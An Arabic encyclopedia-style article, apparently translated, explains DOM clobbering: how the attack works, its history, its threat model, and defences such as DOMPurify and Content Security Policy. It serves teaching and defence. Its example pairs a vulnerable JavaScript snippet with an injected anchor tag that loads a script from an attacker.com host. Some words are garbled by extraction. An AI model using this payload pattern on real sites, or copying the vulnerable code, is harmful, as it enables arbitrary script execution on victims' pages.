سحق دوم

في مجال أمن الإنترنت ، يُعدّ هجوم DOM clobbering (حيث يرمز DOM إلى نموذج كائن المستند ) نوعًا من هجمات الحقن ، ويتمثل في قدرة المهاجم على إدخال شيفرة HTML غير ضارة (ليست شيفرة جافا سكريبت ) يمكن استخدامها للتأثير على تنفيذ شيفرة جافا سكريبت . وهذا يمكّن المهاجم الماهر من القيام بمجموعة متنوعة من السلوكيات غير المرغوب فيها، بما في ذلك القدرة على تنفيذ شيفرة برمجية عشوائية على الموقع الإلكتروني.

على الرغم من أن هذه الثغرة الأمنية معروفة منذ أكثر من عقد، إلا أن الجهود الأخيرة للتخفيف منها بشكل كامل لم تنجح بسبب الاستخدام الكبير للميزات الأساسية عبر الويب اعتبارًا من عام 2021. ومع ذلك، تم تحديد بعض وسائل الحماية التي تحد من آثار التجاوز على DOM وتمنع حدوث بعض حالات التجاوز على DOM.

وهن

تنشأ ثغرة DOM clobbering من تضارب في تسمية عناصر HTML ضمن سياق تنفيذ جافا سكريبت . فعندما يُصرَّح عن متغير جافا سكريبت في نفس سياق عنصر HTML بنفس المعامل ، يُسند المتصفح عنصر HTML إلى المتغير . [ 1 ] يمكن استغلال هذا السلوك للتأثير بشكل انتقائي على تنفيذ جافا سكريبت عن طريق تسجيل عناصر HTML تتوافق مع متغيرات محددة تؤثر على تنفيذ الكود. في بعض الحالات، يمكن استخدام DOM clobbering للتغطية على واجهات برمجة تطبيقات المتصفح المشروعة عن طريق إخفاء شجرة الخصائص باستخدام عناصر HTML DOM. وهذا بدوره قد يسمح للمهاجم بالتلاعب بتنفيذ أجزاء مختلفة من كود جافا سكريبت عن طريق حقن ترميز محدد. [ 2 ] [ 3 ]undefinednameidundefined

قد يتمكن مهاجم ماهر من تنفيذ عمليات إعادة توجيه مفتوحة عشوائية عن طريق استبدال window.locationالسمة، أو تزوير الطلبات عبر المواقع ، أو حتى تنفيذ تعليمات برمجية ضارة من خلال التلاعب الدقيق بعناصر HTML. وفي دراسة أجراها خداياري وآخرون عام 2023، تبين أن 9.8% من أفضل 5000 موقع إلكتروني في العالم (وفقًا لقائمة ترانكو) كانت عرضة لهذا الهجوم، بما في ذلك مواقع مثل ويكي بوكس ، وجيت هاب ، وفاندوم ، وتريلو . [ 4 ]

تاريخ

عُرفت ظاهرة التلاعب بنموذج كائن المستند (DOM) منذ عام 2010 على الأقل، عندما أظهرت ورقة بحثية من باحثين من جامعة كاليفورنيا، بيركلي، وجامعة كارنيجي ميلون، هجومًا selfيُمكن فيه استخدام إطار iframe للتنقل من صفحة إلى أخرى، مما يُخالف سياسة المصدر نفسه . [ 5 ] [ 6 ] على مر السنين، اكتشف باحثو الأمن تقنيات أكثر تطورًا سمحت بتأثير أكبر بكثير مما تم إثباته في البداية. [ 7 ] [ 8 ]

على الرغم من أن وجود الهجوم نفسه كان معروفًا، إلا أن مصطلح "التخريب في DOM" لم يظهر إلا في عام 2013، عندما شاع استخدامه بفضل منشور مدونة الباحث الأمني ​​غاريث هايز الذي أوضح فيه كيفية استغلال هذه الثغرة الأمنية لتنفيذ تعليمات برمجية عشوائية. [ 2 ] في عام 2015، اقترح هايدريش وآخرون تصميم مكتبة تُسمى JSAgents (لاحقًا DOMPurify) والتي من شأنها أن تكون فعالة في معالجة هجمات حقن الترميز، مثل تلك المتعلقة بالبرمجة النصية عبر المواقع والتخريب في DOM. [ 9 ] [ 10 ] [ 11 ]

شهدت السنوات الأخيرة عودة الاهتمام بتخفيف حدة هذا الهجوم، لا سيما بعد اكتشاف ثغرات أمنية في Gmail و Google Analytics عام 2020 تسمح بالكتابة فوق عناصر DOM. [ 12 ] وخلال عامي 2020 و2021، قُدِّمت مقترحات في العديد من مجموعات معايير الويب تُفصِّل آليات الحماية من الكتابة فوق عناصر DOM عن طريق منع الوصول المُسمّى إلى عناصر DOM على مستوى المتصفح. [ 13 ] [ 4 ] إلا أن هذه المقترحات رُفضت بعد أن تبيّن، بعد دراسة بيانات القياس عن بُعد لمتصفح Chrome ، أن أكثر من 10.5% من مواقع الويب تعتمد على هذه الميزات في عملها الحالي. [ 14 ] [ 4 ]

مثال

لتوضيح كيفية استخدام هجوم DOM clobbering للتأثير على تنفيذ جافا سكريبت، تم أخذ مقتطف كود جافا سكريبت التالي كمثال:

const url = window.globalUrlConfig || { href : ' /code.js ' };const scriptElem = document.createElement ( 'script ' ) ;scriptElem.src = url.href ;document.body.appendChild ( scriptElem ) ;

في هذا المثال البسيط، يتم إنشاء عنصر برمجي وعرضه لاحقًا على الصفحة. مع ذلك، فإن هذا المثال البسيط عرضة لهجمات التلاعب بنموذج كائن المستند (DOM). إذ يمكن للمهاجم حقن كود HTML التالي عبر البرمجة النصية عبر المواقع (XSS) أو غيرها من خصائص الموقع التي قد تسمح بحقن الترميز.

<a href="https://attacker.com/malicious_script.js" id="globalUrlConfig"> ... </a>

سيسمح هذا الحقن للمهاجم بالكتابة فوق globalUrlConfigالمتغير بمرجع إلى عنصر التثبيت ، والذي بدوره سيكتب فوق urlالمتغير وبالتالي فوق scriptElem.srcالمعامل (نظرًا لأن المتغير url.hrefيشير الآن إلى hrefمعامل عنصر التثبيت)، مما يؤدي إلى تنفيذ تعليمات برمجية عشوائية . [ 15 ]

نموذج التهديد

يتشابه نموذج التهديد لهجوم DOM clobbering مع نموذج مهاجم الويب الذي اقترحه أخاوي وآخرون عام 2010. يفترض هذا النموذج أن المهاجم قادر على إرسال رسائل بريد إلكتروني، أو بطريقة أخرى، خداع الضحية وتوجيهها إلى صفحات محددة تحت سيطرته. كما يفترض النموذج قدرة المهاجم على حقن مجموعة محدودة من ترميز HTML في مواقع الضحية. يمكن تحقيق ذلك من خلال استغلال هجمات أخرى، مثل البرمجة النصية عبر المواقع (XSS) ، أو إساءة استخدام ميزات عرض النصوص المنسقة في صفحة الويب (على سبيل المثال، قارئ البريد الإلكتروني ومحرر WYSIWYG في Gmail ). [ 16 ] [ 17 ] يُعد هذا الأمر بالغ الأهمية، لأن هجوم DOM clobbering يعتمد على قدرة المهاجم على حقن HTML قد يكون غير ضار في موقع الويب. [ 18 ]

الدفاعات

على الرغم من أن أفضل وسيلة للدفاع ضدّ هجمات DOM هي تعطيل الوصول إلى عناصر DOM المُسماة، إلا أن هذا غير ممكن حاليًا نظرًا للاستخدام النشط الكبير لهذه الميزات، وفقًا لبيانات قياس أداء متصفح Chrome في عام 2021. [ 13 ] [ 14 ] [ 4 ] ومع ذلك، يمكن استخدام ممارسات برمجة آمنة متنوعة للتخفيف من آثار هجمات DOM على تنفيذ كود JavaScript. [ 19 ]

مكتبات تنظيف HTML

إحدى أكثر التقنيات شيوعًا للحد من هجمات التلاعب بعناصر DOM هي استخدام مكتبات تنظيف HTML . [ 20 ] في عام 2017، اقترح هايدريش وآخرون آلية للتخفيف من هذه الهجمات، أُضيفت لاحقًا إلى مكتبة DOMPurify. اعتمدت هذه الآلية على استخدام تجزئات الدوال الموجودة لتحديد ما إذا كانت عناصر HTML قد استبدلتها. بالإضافة إلى ذلك، تُحلل DOMPurify سمات idالعناصر nameالمُضافة لتحديد ما إذا كان من الممكن أن تتعارض مع الدوال العامة الموجودة. [ 21 ] مع ذلك، تم اكتشاف ثغرات أمنية حديثة متعلقة بالتلاعب بعناصر DOM في DOMPurify ومكتبات مشابهة مثل HTML Janitor، مما يشير إلى أن هذه المكتبات لا تحمي إلا من حالات محددة من التلاعب بعناصر DOM، وهي غير مُدركة إلى حد كبير للمخاطر المرتبطة بها. [ 22 ] [ 23 ] [ 24 ]

سياسة أمان المحتوى

من الطرق الشائعة الأخرى للتخفيف من آثار هجمات DOM cloberering استخدام سياسات أمان المحتوى التقييدية (CSP). [ 25 ] مع أن هذه الطريقة لا تمنع هجمات DOM cloberering من تغيير تنفيذ التعليمات البرمجية الموجودة مسبقًا، [ 26 ] إلا أن استخدام سياسات أمان المحتوى التقييدية يُصعّب على المهاجمين تحويل خطر هجمات DOM cloberering إلى هجوم تنفيذ تعليمات برمجية عشوائية، وذلك بتقييد كيفية تنفيذ البرامج النصية على موقع الويب. وباستخدام script-srcتوجيه CSP، يستطيع مطورو الويب حصر أماكن تحميل البرامج النصية في مجموعة محددة مسبقًا من النطاقات الموثوقة. [ 25 ] وهذا يُحبط بشكل كبير قدرة المهاجم على تحميل تعليمات برمجية غير موثوقة يتحكم بها، إذا تمكن من اختراق srcسمة علامة البرنامج النصي. [ 27 ]

انظر أيضاً

مراجع

الاقتباسات

  1. ^ ليكيز وآخرون. 2017 ، ص. 1712.
  2. 1 2 خدياري وبيليجرينو 2023 ، ص 1043، 1044.
  3. "التخفيف من هجمات إتلاف DOM في جافا سكريبت" . سنيك . 2023-08-07 . تم الاسترجاع في 2023-10-30 .
  4. 1 2 3 4 خدياري وبيليجرينو 2023 ، ص. 1050.
  5. ^ خدياري وبيليجرينو 2023 ، ص. 1053.
  6. بيتس، دانيال؛ بارث، آدم؛ جاكسون، كولين (26 أبريل 2010). "التعبيرات النمطية التي تُعتبر ضارة في مرشحات XSS من جانب العميل" . وقائع المؤتمر الدولي التاسع عشر للويب العالمي . WWW '10. نيويورك، نيويورك، الولايات المتحدة الأمريكية: رابطة آلات الحوسبة. الصفحات 91-100 . doi : 10.1145/1772690.1772701 . ISBN  978-1-60558-799-8. S2CID 730078 . 
  7. ^ خدياري وبيليجرينو 2023 ، ص. 1041.
  8. "التخريب باستخدام DOM | أكاديمية أمن الويب" . portswigger.net . تم الاطلاع عليه بتاريخ 30-10-2023 .
  9. ^ هايديريش ونيميتز وشفينك 2015 ، ص 24-25.
  10. ^ هايديريش، سباث وشفينك 2017 ، ص 117-118.
  11. ^ ليكيز وآخرون. 2017 ، ص 1710، 1714.
  12. "هجوم DOM المضاد" . بحث PortSwigger . 2020-02-06 . تم الاطلاع عليه بتاريخ 2023-11-09 .
  13. 1 2 "تعطيل الكتابة فوق DOM. · المشكلة رقم 349 · w3c/webappsec-permissions-policy" . GitHub . تم الاسترجاع في 9 نوفمبر 2023 .
  14. 1 2 "حالة منصة Chrome" . chromestatus.com . تم الاطلاع عليه بتاريخ 2023-11-09 .
  15. ^ خدياري وبيليجرينو 2023 ، ص. 1042.
  16. ^ هايدريش، سباث وشفينك 2017 ، ص. 117.
  17. Akhawe et al. 2010 ، ص 291-294.
  18. ^ خدياري وبيليجرينو 2023 ، ص. 1043.
  19. ^ خدياري وبيليجرينو 2023 ، ص. 1052.
  20. ^ خدياري وبيليجرينو 2023 ، ص. 1051.
  21. ^ هايدريش، سباث وشفينك 2017 ، ص. 122-124.
  22. ^ خدياري وبيليجرينو 2023 ، ص 1051، 1053.
  23. "Publications/pentest-report_dompurify.pdf at master · cure53/Publications" (PDF) . GitHub . تم الاطلاع عليه بتاريخ 10 نوفمبر 2023 .
  24. "وحدات Node.js الخارجية تم الكشف عنها على HackerOne: [ html-janitor ] ..." HackerOne . تم الاطلاع عليه بتاريخ 10-11-2023 .
  25. 1 2 روث، باكس وستوك 2020 ، ص. 420.
  26. ^ ليكيز وآخرون. 2017 ، ص. 1717.
  27. "منع الاختراقات الأمنية - سلسلة أوراق الغش من OWASP" . cheatsheetseries.owasp.org . تم الاطلاع عليه بتاريخ 10 نوفمبر 2023 .

مصادر

للمزيد من القراءة